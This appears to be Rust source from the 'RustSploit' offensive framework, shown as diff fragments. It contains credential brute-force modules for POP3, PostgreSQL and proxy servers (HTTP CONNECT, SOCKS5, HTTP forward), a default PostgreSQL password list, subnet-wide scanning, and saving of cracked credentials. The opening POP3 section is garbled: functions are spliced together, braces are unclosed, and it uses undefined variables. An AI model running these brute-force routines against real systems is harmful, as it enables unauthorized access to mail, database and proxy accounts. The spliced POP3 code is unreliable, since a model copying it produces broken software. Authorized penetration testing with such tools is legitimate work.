fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
|
||||
let mut buf = [0u8; 4096];
|
||||
// Banner
|
||||
let n = stream.read(&mut buf)?;
|
||||
let banner = String::from_utf8_lossy(&buf[..n]);
|
||||
if verbose { print!("-> {}\n", banner.trim_end()); }
|
||||
if !banner.to_ascii_lowercase().contains("+ok") {
|
||||
return Err(anyhow::anyhow!("No +OK banner: {}", banner));
|
||||
}
|
||||
// USER
|
||||
let user_cmd = format!("USER {}\r\n", username);
|
||||
stream.write_all(user_cmd.as_bytes())?;
|
||||
if verbose { print!("<- {}", user_cmd); }
|
||||
let n = stream.read(&mut buf)?;
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if verbose { print!("-> {}\n", resp.trim_end()); }
|
||||
if !resp.to_ascii_lowercase().contains("+ok") {
|
||||
// Send USER
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
return Ok(false);
|
||||
}
|
||||
// PASS
|
||||
let pass_cmd = format!("PASS {}\r\n", password);
|
||||
stream.write_all(pass_cmd.as_bytes())?;
|
||||
if verbose { print!("<- {}", pass_cmd); }
|
||||
let n = stream.read(&mut buf)?;
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if verbose { print!("-> {}\n", resp.trim_end()); }
|
||||
// Hardened login detection:
|
||||
let reply = resp.to_ascii_lowercase();
|
||||
if reply.contains("+ok")
|
||||
&& !reply.contains("error")
|
||||
&& !reply.contains("fail")
|
||||
&& !reply.contains("denied")
|
||||
&& !reply.contains("invalid")
|
||||
&& !reply.contains("authentication required")
|
||||
&& !reply.contains("locked") {
|
||||
// Only consider true success if reply says +OK and has no error/fail/invalid/denied
|
||||
if verbose {
|
||||
stream.write_all(b"STAT\r\n").ok();
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
|
||||
stream.write_all(b"LIST\r\n").ok();
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
|
||||
} else {
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
}
|
||||
|
||||
// Send PASS
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
if let Err(e) = stream.write_all(b"QUIT\r\n") { crate::meprintln!("[!] POP3 QUIT write error: {}", e); }
|
||||
if let Err(e) = stream.flush() { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Open: {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
|
||||
fn attempt_pop3_login(target: &str, port: u16, user: &str, pass: &str, use_ssl: bool, timeout_secs: u64) -> std::result::Result<bool, Pop3Error> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| Pop3Error { error_type: Pop3ErrorType::ConnectionRefused, message: "Resolution failed".to_string() })?;
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
if use_ssl {
|
||||
let connector = TlsConnector::new().map_err(|e| Pop3Error {
|
||||
error_type: Pop3ErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
let mut tls_stream = connector.connect(target, stream).map_err(|e| Pop3Error {
|
||||
error_type: Pop3ErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
pop3_authenticate(&mut tls_stream, user, pass)
|
||||
} else {
|
||||
let mut plain_stream = stream;
|
||||
pop3_authenticate(&mut plain_stream, user, pass)
|
||||
}
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
|
||||
let t = host.trim();
|
||||
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
|
||||
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
|
||||
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
|
||||
}
|
||||
|
||||
fn get_hostname(target: &str) -> String {
|
||||
if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
|
||||
}
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/pop3_bruteforce", native);
|
||||
|
||||
@@ -0,0 +1,212 @@
|
||||
//! PostgreSQL credential brute-force.
|
||||
//!
|
||||
//! Single-target probe — the scheduler handles CIDR / random / file / multi
|
||||
//! fan-out. Each invocation tries default credentials first, then iterates
|
||||
//! over operator-supplied wordlists via `crate::utils::creds_helper`.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
const DEFAULT_PG_PORT: u16 = 5432;
|
||||
|
||||
/// Common defaults — covers Docker images, dev installs, IoT appliances.
|
||||
const DEFAULT_PG_CREDS: &[(&str, &str)] = &[
|
||||
("postgres", "postgres"),
|
||||
("postgres", ""),
|
||||
("postgres", "password"),
|
||||
("postgres", "admin"),
|
||||
("postgres", "root"),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
];
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "PostgreSQL Bruteforce".to_string(),
|
||||
description:
|
||||
"Tests PostgreSQL authentication via the protocol v3 startup flow. Cleartext (R 3) \
|
||||
and MD5 (R 5) auth methods supported; SASL/GSS/SSPI fall through as unsupported. \
|
||||
Tries common defaults first, then operator-supplied wordlists. Single-target — \
|
||||
scheduler does CIDR / random / file fan-out."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://www.postgresql.org/docs/current/protocol-flow.html".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Normal,
|
||||
default_port: Some(5432),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("postgres_bruteforce requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "postgres",
|
||||
default_port: DEFAULT_PG_PORT,
|
||||
source_module: "creds/generic/postgres_bruteforce",
|
||||
defaults: DEFAULT_PG_CREDS,
|
||||
password_only: false,
|
||||
},
|
||||
|host: String, port: u16, user: String, pass: String, timeout: std::time::Duration| async move {
|
||||
probe(&host, port, &user, &pass, timeout).await
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// One PostgreSQL auth attempt. Sends the v3 startup-message with the
|
||||
/// supplied user, then either Password / Md5 response on demand.
|
||||
/// Returns Success on `AuthenticationOk` (R 0), AuthFailed on
|
||||
/// `ErrorResponse` (E), retryable Error on connection issues.
|
||||
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
|
||||
use tokio::io::AsyncWriteExt;
|
||||
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let mut stream = match crate::utils::creds_helper::connect_with_timeout(&addr, timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("connect: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
let mut params = Vec::<u8>::new();
|
||||
params.extend_from_slice(b"user\0");
|
||||
params.extend_from_slice(user.as_bytes());
|
||||
params.push(0);
|
||||
params.extend_from_slice(b"database\0");
|
||||
// Connect to the conventional "postgres" maintenance DB, NOT a DB named after
|
||||
// the user. `database=user` made a valid superuser whose own DB doesn't exist
|
||||
// fail startup with ErrorResponse 3D000 (database does not exist), which we
|
||||
// read as a login failure — a false negative on otherwise-correct credentials.
|
||||
params.extend_from_slice(b"postgres");
|
||||
params.push(0);
|
||||
params.push(0); // trailing null
|
||||
|
||||
let total_len: u32 = 4 + 4 + params.len() as u32;
|
||||
let mut msg = Vec::with_capacity(total_len as usize);
|
||||
msg.extend_from_slice(&total_len.to_be_bytes());
|
||||
msg.extend_from_slice(&196608u32.to_be_bytes()); // protocol 3.0
|
||||
msg.extend_from_slice(¶ms);
|
||||
|
||||
if let Err(e) = stream.write_all(&msg).await {
|
||||
return LoginResult::Error {
|
||||
message: format!("write startup: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
|
||||
let mut header = [0u8; 5];
|
||||
loop {
|
||||
if let Err(e) =
|
||||
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut header, timeout)
|
||||
.await
|
||||
{
|
||||
return LoginResult::Error {
|
||||
message: format!("read header: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
let msg_type = header[0];
|
||||
let msg_len = u32::from_be_bytes([header[1], header[2], header[3], header[4]]);
|
||||
if !(5..=64 * 1024).contains(&msg_len) {
|
||||
return LoginResult::Error {
|
||||
message: format!("invalid message length {msg_len}"),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
let body_len = (msg_len - 4) as usize;
|
||||
let mut body = vec![0u8; body_len];
|
||||
if body_len > 0
|
||||
&& let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
|
||||
&mut stream,
|
||||
&mut body,
|
||||
timeout,
|
||||
)
|
||||
.await
|
||||
{
|
||||
return LoginResult::Error {
|
||||
message: format!("read body: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
match msg_type {
|
||||
b'R' => {
|
||||
if body.len() < 4 {
|
||||
return LoginResult::Error {
|
||||
message: "short auth msg".to_string(),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
let auth_type = u32::from_be_bytes([body[0], body[1], body[2], body[3]]);
|
||||
match auth_type {
|
||||
0 => return LoginResult::Success,
|
||||
3 => {
|
||||
let mut pw_msg = Vec::new();
|
||||
pw_msg.push(b'p');
|
||||
let plen = (4 + pass.len() + 1) as u32;
|
||||
pw_msg.extend_from_slice(&plen.to_be_bytes());
|
||||
pw_msg.extend_from_slice(pass.as_bytes());
|
||||
pw_msg.push(0);
|
||||
if let Err(e) = stream.write_all(&pw_msg).await {
|
||||
return LoginResult::Error {
|
||||
message: format!("write pw: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
}
|
||||
5 => {
|
||||
if body.len() < 8 {
|
||||
return LoginResult::Error {
|
||||
message: "short md5 salt".to_string(),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
let salt = &body[4..8];
|
||||
let inner = format!(
|
||||
"{:x}",
|
||||
md5::compute(format!("{}{}", pass, user).as_bytes())
|
||||
);
|
||||
let mut hash_input = Vec::with_capacity(inner.len() + 4);
|
||||
hash_input.extend_from_slice(inner.as_bytes());
|
||||
hash_input.extend_from_slice(salt);
|
||||
let outer = format!("md5{:x}", md5::compute(&hash_input));
|
||||
let mut pw_msg = Vec::new();
|
||||
pw_msg.push(b'p');
|
||||
let plen = (4 + outer.len() + 1) as u32;
|
||||
pw_msg.extend_from_slice(&plen.to_be_bytes());
|
||||
pw_msg.extend_from_slice(outer.as_bytes());
|
||||
pw_msg.push(0);
|
||||
if let Err(e) = stream.write_all(&pw_msg).await {
|
||||
return LoginResult::Error {
|
||||
message: format!("write md5: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
}
|
||||
other => {
|
||||
return LoginResult::Error {
|
||||
message: format!("unsupported auth method {other}"),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
b'E' => return LoginResult::AuthFailed,
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/postgres_bruteforce", native);
|
||||
@@ -0,0 +1,475 @@
|
||||
//! Proxy Authentication Bruteforce Module
|
||||
//!
|
||||
//! Bruteforces authenticated proxies: HTTP CONNECT (Basic/Digest),
|
||||
//! SOCKS5 username/password, and HTTP forward proxies.
|
||||
//!
|
||||
//! FOR AUTHORIZED PENETRATION TESTING ONLY.
|
||||
|
||||
use anyhow::{ anyhow, Context, Result };
|
||||
use colored::*;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use base64::Engine as _;
|
||||
use tokio::io::{ AsyncReadExt, AsyncWriteExt };
|
||||
|
||||
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
|
||||
use crate::utils::{
|
||||
cfg_prompt_default,
|
||||
cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
cfg_prompt_port,
|
||||
cfg_prompt_yes_no,
|
||||
load_lines,
|
||||
normalize_target,
|
||||
};
|
||||
use crate::utils::wordlist;
|
||||
use crate::utils::{
|
||||
generate_combos_mode,
|
||||
parse_combo_mode,
|
||||
load_credential_file,
|
||||
BruteforceConfig,
|
||||
LoginResult,
|
||||
SubnetScanConfig,
|
||||
run_bruteforce,
|
||||
run_subnet_bruteforce,
|
||||
is_subnet_target,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Proxy Bruteforce".to_string(),
|
||||
description: "Bruteforces proxy authentication for HTTP CONNECT (Basic auth), SOCKS5 (username/password), and HTTP forward proxies. Supports combo, spray, and credential file modes.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
default_port: None,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROXY AUTH TYPES
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ProxyType {
|
||||
HttpConnect,
|
||||
Socks5,
|
||||
HttpForward,
|
||||
}
|
||||
|
||||
impl ProxyType {
|
||||
fn from_str(s: &str) -> Self {
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"socks5" | "socks" => Self::Socks5,
|
||||
"http_forward" | "forward" | "transparent" => Self::HttpForward,
|
||||
_ => Self::HttpConnect,
|
||||
}
|
||||
}
|
||||
|
||||
fn name(&self) -> &'static str {
|
||||
match self {
|
||||
Self::HttpConnect => "HTTP CONNECT",
|
||||
Self::Socks5 => "SOCKS5",
|
||||
Self::HttpForward => "HTTP Forward",
|
||||
}
|
||||
}
|
||||
|
||||
fn default_port(&self) -> u16 {
|
||||
match self {
|
||||
Self::HttpConnect => 8080,
|
||||
Self::Socks5 => 1080,
|
||||
Self::HttpForward => 3128,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// AUTH ATTEMPTS
|
||||
// ============================================================================
|
||||
|
||||
/// Try HTTP CONNECT proxy with Basic auth.
|
||||
async fn try_http_connect_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
let mut stream = stream;
|
||||
|
||||
// Basic auth header
|
||||
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let req = format!(
|
||||
"CONNECT httpbin.org:80 HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\n\r\n",
|
||||
cred
|
||||
);
|
||||
|
||||
if let Err(e) = tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await {
|
||||
return LoginResult::Error { message: format!("Write timeout: {}", e), retryable: true };
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 1024];
|
||||
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(n)) => { tracing::trace!("proxy read returned {n} bytes (empty)"); return LoginResult::Error { message: "Empty response".to_string(), retryable: false }; }
|
||||
Ok(Err(e)) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
Err(e) => return LoginResult::Error { message: format!("Read timeout: {e}"), retryable: true },
|
||||
};
|
||||
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
// Parse the HTTP status line. Matching the bare string "200" anywhere in the
|
||||
// response (e.g. `Content-Length: 200`, a Date, or a Via header) produced
|
||||
// false-positive "valid proxy" results — only the status code counts.
|
||||
match http_status_code(&resp) {
|
||||
Some(c) if (200..=299).contains(&c) => LoginResult::Success,
|
||||
Some(407) | Some(401) | Some(403) => LoginResult::AuthFailed,
|
||||
Some(c) => LoginResult::Error { message: format!("HTTP {c}"), retryable: false },
|
||||
None => LoginResult::Error { message: format!("non-HTTP response: {}", resp.lines().next().unwrap_or("")), retryable: false },
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract the numeric status code from an HTTP response's status line
|
||||
/// (`HTTP/1.1 200 ...`). Returns None when the first line isn't an HTTP status
|
||||
/// line, so a "200" appearing elsewhere in the response can't be mistaken for a
|
||||
/// 200 OK.
|
||||
fn http_status_code(resp: &str) -> Option<u16> {
|
||||
let first = resp.lines().next()?;
|
||||
if !first.starts_with("HTTP/") {
|
||||
return None;
|
||||
}
|
||||
first.split_whitespace().nth(1).and_then(|tok| tok.parse::<u16>().ok())
|
||||
}
|
||||
|
||||
/// Try SOCKS5 proxy with username/password auth (RFC 1929).
|
||||
async fn try_socks5_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
|
||||
// SOCKS5 greeting: version 5, 1 method, username/password (0x02)
|
||||
match tokio::time::timeout(dur, stream.write_all(&[0x05, 0x01, 0x02])).await {
|
||||
Ok(Ok(())) => {}
|
||||
Ok(Err(e)) => {
|
||||
tracing::trace!("SOCKS5 greeting write failed: {e}");
|
||||
return LoginResult::Error { message: "Greeting write failed".to_string(), retryable: true };
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::trace!("SOCKS5 greeting write timed out: {e}");
|
||||
return LoginResult::Error { message: "Greeting timeout".to_string(), retryable: true };
|
||||
}
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 2];
|
||||
match tokio::time::timeout(dur, stream.read_exact(&mut buf)).await {
|
||||
Ok(Ok(n)) => { tracing::trace!("SOCKS5 greeting read_exact returned {n} bytes"); }
|
||||
_ => return LoginResult::Error { message: "Greeting response timeout".to_string(), retryable: true },
|
||||
}
|
||||
|
||||
if buf[0] != 0x05 {
|
||||
return LoginResult::Error { message: "Not SOCKS5".to_string(), retryable: false };
|
||||
}
|
||||
if buf[1] != 0x02 {
|
||||
return LoginResult::Error { message: format!("Auth method {} not user/pass", buf[1]), retryable: false };
|
||||
}
|
||||
|
||||
// RFC 1929 username/password auth
|
||||
let user_bytes = user.as_bytes();
|
||||
let pass_bytes = pass.as_bytes();
|
||||
if user_bytes.len() > 255 || pass_bytes.len() > 255 {
|
||||
return LoginResult::Error { message: "Credentials too long (max 255 bytes each)".to_string(), retryable: false };
|
||||
}
|
||||
|
||||
let mut auth_pkt = vec![0x01u8]; // version
|
||||
auth_pkt.push(user_bytes.len() as u8);
|
||||
auth_pkt.extend_from_slice(user_bytes);
|
||||
auth_pkt.push(pass_bytes.len() as u8);
|
||||
auth_pkt.extend_from_slice(pass_bytes);
|
||||
|
||||
match tokio::time::timeout(dur, stream.write_all(&auth_pkt)).await {
|
||||
Ok(Ok(())) => {}
|
||||
Ok(Err(e)) => {
|
||||
tracing::trace!("SOCKS5 auth write failed: {e}");
|
||||
return LoginResult::Error { message: "Auth write failed".to_string(), retryable: true };
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::trace!("SOCKS5 auth write timed out: {e}");
|
||||
return LoginResult::Error { message: "Auth write timeout".to_string(), retryable: true };
|
||||
}
|
||||
}
|
||||
|
||||
let mut resp = [0u8; 2];
|
||||
match tokio::time::timeout(dur, stream.read_exact(&mut resp)).await {
|
||||
Ok(Ok(n)) => { tracing::trace!("SOCKS5 auth read_exact returned {n} bytes"); }
|
||||
_ => return LoginResult::Error { message: "Auth response timeout".to_string(), retryable: true },
|
||||
}
|
||||
|
||||
// RFC 1929: reply is [version=0x01, status]; status 0x00 == success. Require
|
||||
// the auth-subnegotiation version byte so a server echoing garbage like
|
||||
// [0x05,0x00] can't be read as a successful auth.
|
||||
if resp[0] == 0x01 && resp[1] == 0x00 {
|
||||
LoginResult::Success
|
||||
} else {
|
||||
LoginResult::AuthFailed
|
||||
}
|
||||
}
|
||||
|
||||
/// Try HTTP forward proxy with Basic auth.
|
||||
async fn try_http_forward_auth(
|
||||
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let req = format!(
|
||||
"GET http://httpbin.org/ip HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\nConnection: close\r\n\r\n",
|
||||
cred
|
||||
);
|
||||
|
||||
match tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await {
|
||||
Ok(Ok(())) => {}
|
||||
Ok(Err(e)) => {
|
||||
tracing::trace!("HTTP proxy request write failed: {e}");
|
||||
return LoginResult::Error { message: "Write failed".to_string(), retryable: true };
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::trace!("HTTP proxy request write timed out: {e}");
|
||||
return LoginResult::Error { message: "Write timeout".to_string(), retryable: true };
|
||||
}
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 2048];
|
||||
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
_ => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
|
||||
};
|
||||
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
// Status code from the status line, not a substring scan (a `200` in a header
|
||||
// value would false-positive). httpbin echoes the client IP in an "origin"
|
||||
// field, so a genuine forward succeeds with 2xx + that marker.
|
||||
let code = http_status_code(&resp);
|
||||
if matches!(code, Some(c) if (200..=299).contains(&c)) && resp.contains("origin") {
|
||||
LoginResult::Success
|
||||
} else if matches!(code, Some(407) | Some(401) | Some(403)) {
|
||||
LoginResult::AuthFailed
|
||||
} else {
|
||||
LoginResult::Error { message: format!("HTTP {}", resp.lines().next().unwrap_or("")), retryable: false }
|
||||
}
|
||||
}
|
||||
|
||||
/// Dispatch to the right auth function based on proxy type.
|
||||
async fn try_proxy_auth(
|
||||
proxy_type: ProxyType, target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
|
||||
) -> LoginResult {
|
||||
match proxy_type {
|
||||
ProxyType::HttpConnect => try_http_connect_auth(target, port, user, pass, timeout_ms).await,
|
||||
ProxyType::Socks5 => try_socks5_auth(target, port, user, pass, timeout_ms).await,
|
||||
ProxyType::HttpForward => try_http_forward_auth(target, port, user, pass, timeout_ms).await,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MAIN
|
||||
// ============================================================================
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!("{}", "| Proxy Authentication Bruteforce |".cyan());
|
||||
crate::mprintln!("{}", "| HTTP CONNECT (Basic) | SOCKS5 (RFC 1929) | HTTP Forward |".cyan());
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("proxy_bruteforce requires a single-host target")?;
|
||||
|
||||
// --- Subnet scan ---
|
||||
if is_subnet_target(target) {
|
||||
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
|
||||
let proxy_type = ProxyType::from_str(&proxy_type_input);
|
||||
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
|
||||
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = if wordlist::should_stream(&users_file) {
|
||||
let mut lines = Vec::new();
|
||||
let mut reader = wordlist::BatchedReader::open(&users_file).await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
lines.extend(batch);
|
||||
}
|
||||
lines
|
||||
} else {
|
||||
load_lines(&users_file)?
|
||||
};
|
||||
let passes = if wordlist::should_stream(&pass_file) {
|
||||
let mut lines = Vec::new();
|
||||
let mut reader = wordlist::BatchedReader::open(&pass_file).await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
lines.extend(batch);
|
||||
}
|
||||
lines
|
||||
} else {
|
||||
load_lines(&pass_file)?
|
||||
};
|
||||
if users.is_empty() { return Err(anyhow!("Username list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent hosts", 50, 1, 500).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_subnet.txt").await?;
|
||||
|
||||
let limiter = ctx.limiter.clone();
|
||||
let module_path = ctx.module_path.clone();
|
||||
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "proxy",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/proxy_credcheck",
|
||||
skip_tcp_check: false,
|
||||
state_file: None,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let limiter = limiter.clone();
|
||||
let module_path = module_path.clone();
|
||||
async move {
|
||||
let host = ip.to_string();
|
||||
limiter.acquire(&module_path, &host).await;
|
||||
try_proxy_auth(proxy_type, &host, port, &user, &pass, 5000).await
|
||||
}
|
||||
}).await?;
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
for (host, user, pass) in &hits {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid proxy credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
